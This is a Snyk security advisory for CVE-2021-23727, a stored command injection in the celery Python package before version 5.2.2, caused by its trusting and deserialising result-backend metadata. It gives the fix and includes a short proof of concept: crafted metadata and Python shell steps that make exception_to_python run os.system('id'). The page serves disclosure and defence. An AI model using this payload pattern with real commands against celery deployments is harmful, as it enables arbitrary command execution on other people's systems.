MEDIUM

Search by package name or CVE

Stored Command Injection

Affecting celery package, versions [,5.2.2)

INTRODUCED: 9 DEC 2021 CVE-2021-23727 ? CWE-78 ? FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `celery` to version 5.2.2 or higher.

Overview

Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.

PoC

Example of modified metadata as stored in the result stores:

```
'status': 'FAILURE', 'result': json.dumps({ 'exc_module': 'os', 'exc_type': 'system', 'exc_message': 'id' }) }
```

Reproduction steps in a Python shell:

```
from celery.backends.base import Backend from celery import Celery b = Backend(Celery()) exc = {'exc_module':'os',
'exc_type':'system', 'exc_message':'id'} b.exception_to_python(exc)
```

The result would be an output of `os.system('id')` .

References

- Celery Changelog

Snyk CVSS

Exploit Maturity	Proof of concept ?
Attack Complexity	High ?
Privileges Required	HIGH ?
Confidentiality	HIGH ?
Integrity	HIGH ?
Availability	HIGH ?

See more

› NVD 7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-PYTHON-CELERY-2314953
Published	29 Dec 2021
Disclosed	9 Dec 2021
Credit	Calum Hutton from Snyk Research Team

Report a new vulnerability Found a mistake?

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

DevSecCon Join the >> community

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.